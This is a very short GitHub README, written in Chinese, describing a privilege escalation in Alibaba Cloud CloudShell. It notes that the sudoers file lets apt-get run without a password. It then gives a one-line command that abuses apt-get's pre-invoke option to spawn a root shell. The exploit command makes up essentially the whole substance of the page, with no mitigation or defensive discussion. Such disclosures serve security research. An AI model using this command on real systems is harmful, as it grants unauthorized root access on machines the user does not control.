Skip to content

Latest commit

 

History

History
16 lines (8 loc) · 299 Bytes

README.md

File metadata and controls

16 lines (8 loc) · 299 Bytes

CloudShell

阿里云CloudShell:

/etc/sudoers中读取:

image-20231116110834078

apt-get执行sudo不需要输入密码,因此利用apt-get可以提权到root:

sudo apt-get update -o APT::update::pre-invoke::=/bin/bash